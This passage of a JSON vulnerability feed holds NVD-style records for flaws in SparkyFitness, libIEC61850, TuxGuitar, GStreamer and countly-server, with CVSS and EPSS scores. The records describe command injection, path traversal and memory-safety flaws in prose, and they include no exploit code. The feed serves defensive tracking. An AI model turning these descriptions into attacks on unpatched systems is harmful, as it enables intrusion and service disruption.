exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-92263","cveId":"CVE-2026-92263","aliases":[],"kind":"vulnerability","title":"SparkyFitness is a self-hosted, AI-powered health and fitness tracker for families.","summary":"SparkyFitness is a self-hosted, AI-powered health and fitness tracker for families. Prior to 1.6.0, the api/admin/backup/restore endpoint interpolates an uploaded filename into a shell command. An authenticated global administrator uploads a restore archive with a crafted filename. The administrator can supply a restore archive with a filename containing shell metacharacters. Successful exploitation can execute arbitrary operating-system commands with the server process privileges. This issue is fixed in version 1.6.0.","detail":"SparkyFitness is a self-hosted, AI-powered health and fitness tracker for families. Prior to 1.6.0, the api/admin/backup/restore endpoint interpolates an uploaded filename into a shell command. An authenticated global administrator uploads a restore archive with a crafted filename. The administrator can supply a restore archive with a filename containing shell metacharacters. Successful exploitation can execute arbitrary operating-system commands with the server process privileges. This issue is fixed in version 1.6.0.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-16T16:22:43.027Z","updatedAt":"2026-10-21T03:17:20.163Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.2,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-92263","asOf":"2026-10-21T03:17:20.163Z"},"epss":{"probability":0.0045,"percentile":0.38855,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-92263&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-92263","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-92263","type":"primary","publishedAt":"2026-10-16T16:22:43.027Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-92263&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-92263, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-68907","cveId":"CVE-2026-68907","aliases":[],"kind":"vulnerability","title":"libIEC61850 is an open-source implementation of IEC 61850 client and server protocols including MMS, GOOSE, Sampled Values, and R-Session.","summary":"libIEC61850 is an open-source implementation of IEC 61850 client and server protocols including MMS, GOOSE, Sampled Values, and R-Session. Prior to 1.6.2, checkDataSetAccess reverses the source and destination arguments to StringUtils_copyStringToBuffer while constructing an MMS_ASSOCIATION_SPECIFIC dataset reference. The helper treats uninitialized dataSetRef[130] storage as a source string, causing strlen to read beyond the stack buffer, and then copies those bytes into the caller-owned listName buffer. A remote defineNamedVariableList request can crash servers that have dynamic dataset service enabled and a dataset access handler installed; the advisory also observes caller stack corruption but establishes denial of service as the primary impact. This issue is fixed in version 1.6.2.","detail":"libIEC61850 is an open-source implementation of IEC 61850 client and server protocols including MMS, GOOSE, Sampled Values, and R-Session. Prior to 1.6.2, checkDataSetAccess reverses the source and destination arguments to StringUtils_copyStringToBuffer while constructing an MMS_ASSOCIATION_SPECIFIC dataset reference. The helper treats uninitialized dataSetRef[130] storage as a source string, causing strlen to read beyond the stack buffer, and then copies those bytes into the caller-owned listName buffer. A remote defineNamedVariableList request can crash servers that have dynamic dataset service enabled and a dataset access handler installed; the advisory also observes caller stack corruption but establishes denial of service as the primary impact. This issue is fixed in version 1.6.2.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-16T16:20:00.960Z","updatedAt":"2026-10-16T20:04:29.760Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.2,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-68907","asOf":"2026-10-16T20:04:29.760Z"},"epss":{"probability":0.00371,"percentile":0.30779,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-68907&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-68907","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-68907","type":"primary","publishedAt":"2026-10-16T16:20:00.960Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-68907&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-68907, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-68906","cveId":"CVE-2026-68906","aliases":[],"kind":"vulnerability","title":"libIEC61850 is an open-source implementation of IEC 61850 client and server protocols including MMS, GOOSE, Sampled Values, and R-Session.","summary":"libIEC61850 is an open-source implementation of IEC 61850 client and server protocols including MMS, GOOSE, Sampled Values, and R-Session. Prior to 1.6.2, parseUserInformation in src/mms/iso_acse/acse.c checks len for zero before validating the negative bufPos returned by BerDecoder_decodeLength for a truncated long-form length. The continue path therefore swallows the error, reads buffer[-1], resets parsing to the beginning, and repeats the same malformed state. An unauthenticated remote peer can send a malformed AARE PDU during association to cause an infinite CPU loop under a normal allocator or a one-byte out-of-bounds read and process abort when the preceding byte is inaccessible. This issue is fixed in version 1.6.2.","detail":"libIEC61850 is an open-source implementation of IEC 61850 client and server protocols including MMS, GOOSE, Sampled Values, and R-Session. Prior to 1.6.2, parseUserInformation in src/mms/iso_acse/acse.c checks len for zero before validating the negative bufPos returned by BerDecoder_decodeLength for a truncated long-form length. The continue path therefore swallows the error, reads buffer[-1], resets parsing to the beginning, and repeats the same malformed state. An unauthenticated remote peer can send a malformed AARE PDU during association to cause an infinite CPU loop under a normal allocator or a one-byte out-of-bounds read and process abort when the preceding byte is inaccessible. This issue is fixed in version 1.6.2.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-16T16:20:00.793Z","updatedAt":"2026-10-19T13:16:58.420Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-68906","asOf":"2026-10-19T13:16:58.420Z"},"epss":{"probability":0.00471,"percentile":0.405,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-68906&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-68906","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-68906","type":"primary","publishedAt":"2026-10-16T16:20:00.793Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-68906&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-68906, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-55543","cveId":"CVE-2026-55543","aliases":[],"kind":"vulnerability","title":"TuxGuitar is an open-source guitar tablature editor.","summary":"TuxGuitar is an open-source guitar tablature editor. Prior to 2.1.0, an untrusted .tg file can set gervil.soundbank.path to reference an on-disk archive, including the .tg file itself, whose META-INF/services/javax.sound.midi.Soundbank entry names an attacker-supplied class stored in that archive. When a user opens the file, JARSoundbankReader uses an unverified class loader to load and instantiate that class, executing its constructor with the privileges of the TuxGuitar process. This issue is fixed in version 2.1.0.","detail":"TuxGuitar is an open-source guitar tablature editor. Prior to 2.1.0, an untrusted .tg file can set gervil.soundbank.path to reference an on-disk archive, including the .tg file itself, whose META-INF/services/javax.sound.midi.Soundbank entry names an attacker-supplied class stored in that archive. When a user opens the file, JARSoundbankReader uses an unverified class loader to load and instantiate that class, executing its constructor with the privileges of the TuxGuitar process. This issue is fixed in version 2.1.0.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-16T16:18:43.750Z","updatedAt":"2026-10-16T20:04:29.760Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.5,"version":"4.0","vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-55543","asOf":"2026-10-16T20:04:29.760Z"},"epss":{"probability":0.00147,"percentile":0.03888,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-55543&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-55543","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-55543","type":"primary","publishedAt":"2026-10-16T16:18:43.750Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-55543&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-55543, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-48741","cveId":"CVE-2026-48741","aliases":[],"kind":"vulnerability","title":"libIEC61850 is an open-source implementation of IEC 61850 client and server protocols including MMS, GOOSE, Sampled Values, and R-Session.","summary":"libIEC61850 is an open-source implementation of IEC 61850 client and server protocols including MMS, GOOSE, Sampled Values, and R-Session. Prior to 1.6.2, alternateArrayAccess in src/mms/iso_mms/server/mms_read_service.c does not validate an alternate-access sub-array range when numberOfElements is greater than zero. An out-of-range MmsValue_getElement call returns NULL, and the sub-array branch passes that value to MmsValue_isDeletable, causing a NULL pointer dereference. A remote MMS Read request can therefore crash servers whose data models contain arrays, while the single-element error path handles the same invalid index safely. This issue is fixed in version 1.6.2.","detail":"libIEC61850 is an open-source implementation of IEC 61850 client and server protocols including MMS, GOOSE, Sampled Values, and R-Session. Prior to 1.6.2, alternateArrayAccess in src/mms/iso_mms/server/mms_read_service.c does not validate an alternate-access sub-array range when numberOfElements is greater than zero. An out-of-range MmsValue_getElement call returns NULL, and the sub-array branch passes that value to MmsValue_isDeletable, causing a NULL pointer dereference. A remote MMS Read request can therefore crash servers whose data models contain arrays, while the single-element error path handles the same invalid index safely. This issue is fixed in version 1.6.2.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-16T16:18:11.943Z","updatedAt":"2026-10-21T03:17:19.473Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-48741","asOf":"2026-10-21T03:17:19.473Z"},"epss":{"probability":0.00524,"percentile":0.44178,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-48741&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-48741","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-48741","type":"primary","publishedAt":"2026-10-16T16:18:11.943Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-48741&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-48741, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-48503","cveId":"CVE-2026-48503","aliases":[],"kind":"vulnerability","title":"libIEC61850 is an open-source implementation of IEC 61850 client and server protocols including MMS, GOOSE, Sampled Values, and R-Session.","summary":"libIEC61850 is an open-source implementation of IEC 61850 client and server protocols including MMS, GOOSE, Sampled Values, and R-Session. Prior to 1.6.2, the MMS file service in src/mms/iso_mms/server/mms_file_service.c accepts an out-of-range initialPosition in fileOpen and stores it in the file-read state. The fileRead path then subtracts the larger read position from the file size using unsigned arithmetic and fails to limit the response to the actual FileSystem_readFile return value. The oversized response can include stale bytes from the reused connection buffer after the requested file contents, disclosing prior response data and protocol fragments to an unauthenticated remote client when the file service is enabled. This issue is fixed in version 1.6.2.","detail":"libIEC61850 is an open-source implementation of IEC 61850 client and server protocols including MMS, GOOSE, Sampled Values, and R-Session. Prior to 1.6.2, the MMS file service in src/mms/iso_mms/server/mms_file_service.c accepts an out-of-range initialPosition in fileOpen and stores it in the file-read state. The fileRead path then subtracts the larger read position from the file size using unsigned arithmetic and fails to limit the response to the actual FileSystem_readFile return value. The oversized response can include stale bytes from the reused connection buffer after the requested file contents, disclosing prior response data and protocol fragments to an unauthenticated remote client when the file service is enabled. This issue is fixed in version 1.6.2.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-16T16:18:11.793Z","updatedAt":"2026-10-16T20:04:29.760Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-48503","asOf":"2026-10-16T20:04:29.760Z"},"epss":{"probability":0.00458,"percentile":0.39418,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-48503&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-48503","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-48503","type":"primary","publishedAt":"2026-10-16T16:18:11.793Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-48503&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-48503, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-46472","cveId":"CVE-2026-46472","aliases":[],"kind":"vulnerability","title":"An issue was discovered in GStreamer gst-plugins-good before 1.28.2.","summary":"An issue was discovered in GStreamer gst-plugins-good before 1.28.2. While parsing an MP4 file, the isomp4 plugin's qtdemux_parse_chnl function may read past the end of a global array, potentially leading to information disclosure.","detail":"An issue was discovered in GStreamer gst-plugins-good before 1.28.2. While parsing an MP4 file, the isomp4 plugin's qtdemux_parse_chnl function may read past the end of a global array, potentially leading to information disclosure.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-16T16:18:11.647Z","updatedAt":"2026-10-16T19:55:59.740Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-46472","asOf":"2026-10-16T19:55:59.740Z"},"epss":{"probability":0.00308,"percentile":0.23408,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-46472&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-46472","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-46472","type":"primary","publishedAt":"2026-10-16T16:18:11.647Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-46472&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-46472, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-42270","cveId":"CVE-2026-42270","aliases":[],"kind":"vulnerability","title":"countly-server is the server-side part of Countly, a product analytics solution.","summary":"countly-server is the server-side part of Countly, a product analytics solution. Prior to 24.05.50 and 25.03.44, star-rating/images/ and dashboards/images/screenshots/ are among public image and screenshot routes using the local fs storage backend that call getStream and pipe filesystem streams to HTTP responses without an error listener. An unauthenticated request containing a URL-encoded dot can make createReadStream open a directory, emit an asynchronous EISDIR error, and terminate the Node.js process as an unhandled exception, allowing repeated requests to keep the analytics API unavailable. The affected routes also include /appimages/*, /memberimages/*, and */screenshots/*. This issue is fixed in versions 24.05.50 and 25.03.44.","detail":"countly-server is the server-side part of Countly, a product analytics solution. Prior to 24.05.50 and 25.03.44, star-rating/images/ and dashboards/images/screenshots/ are among public image and screenshot routes using the local fs storage backend that call getStream and pipe filesystem streams to HTTP responses without an error listener. An unauthenticated request containing a URL-encoded dot can make createReadStream open a directory, emit an asynchronous EISDIR error, and terminate the Node.js process as an unhandled exception, allowing repeated requests to keep the analytics API unavailable. The affected routes also include /appimages/*, /memberimages/*, and */screenshots/*. This issue is fixed in versions 24.05.50 and 25.03.44.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-16T16:17:23.940Z","updatedAt":"2026-10-16T20:02:37.630Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-42270","asOf":"2026-10-16T20:02:37.630Z"},"epss":{"probability":0.00542,"percentile":0.45267,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-42270&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-42270","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-42270","type":"primary","publishedAt":"2026-10-16T16:17:23.940Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-42270&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-42270, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-42269","cveId":"CVE-2026-42269","aliases":[],"kind":"vulnerability","title":"countly-server is the server-side part of Countly, a product analytics solution.","summary":"countly-server is the server-side part of Countly, a product analytics solution. Prior to 24.05.50 and 25.03.44, the authenticated data-migration deletion route in plugins/data_migration/api/api.js passes the user-controlled exportid to clean_up_data without path validation. plugins/data_migration/api/data_migration_helper.js concatenates that identifier into a path resolved outside the intended import directory and calls remove recursively, allowing an application administrator or user with migration permission to delete writable files or directory trees and cause data loss or service disruption. This issue is fixed in versions 24.05.50 and 25.03.44.","detail":"countly-server is the server-side part of Countly, a product analytics solution. Prior to 24.05.50 and 25.03.44, the authenticated data-migration deletion route in plugins/data_migration/api/api.js passes the user-controlled exportid to clean_up_data without path validation. plugins/data_migration/api/data_migration_helper.js concatenates that identifier into a path resolved outside the intended import directory and calls remove recursively, allowing an application administrator or user with migration permission to delete writable files or directory trees and cause data loss or service disruption. This issue is fixed in versions 24.05.50 and 25.03.44.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-16T16:17:23.783Z","updatedAt":"2026-10-16T20:02:37.630Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-42269","asOf":"2026-10-16T20:02:37.630Z"},"epss":{"probability":0.00469,"percentile":0.40305,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-42269&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-42269","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-42269","type":"primary","publishedAt":"2026-10-16T16:17:23.783Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-42269&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-42269, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-41582","cveId":"CVE-2026-41582","aliases":[],"kind":"vulnerability","title":"countly-server is the server-side part of Countly, a product analytics solution.","summary":"countly-server is the server-side part of Countly, a product analytics solution. Prior to 24.05.50 and 25.03.44, public image and screenshot routes implemented in frontend/express/app.js, plugins/star-rating/frontend/app.js, and plugins/dashboards/frontend/app.js concatenate attacker-controlled wildcard paths without containment validation. On deployments using the local filesystem backend, an unauthenticated request can traverse outside the intended asset directories and reach getStats or getStream in api/utils/countlyFs.js, allowing arbitrary readable server files to be disclosed. The affected routes include /appimages/*, /memberimages/*, */screenshots/*, /star-rating/images/*, and /dashboards/images/screenshots/*. This issue is fixed in versions 24.05.50 and 25.03.44.","detail":"countly-server is the server-side part of Countly, a product analytics solution. Prior to 24.05.50 and 25.03.44, public image and screenshot routes implemented in frontend/express/app.js, plugins/star-rating/frontend/app.js, and plugins/dashboards/frontend/app.js concatenate attacker-controlled wildcard paths without containment validation. On deployments using the local filesystem backend, an unauthenticated request can traverse outside the intended asset directories and reach getStats or getStream in api/utils/countlyFs.js, allowing arbitrary readable server files to be disclosed. The affected routes include /appimages/*, /memberimages/*, */screenshots/*, /star-rating/images/*, and /dashboards/images/screenshots/*. This issue is fixed in versions 24.05.50 and 25.03.44.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and 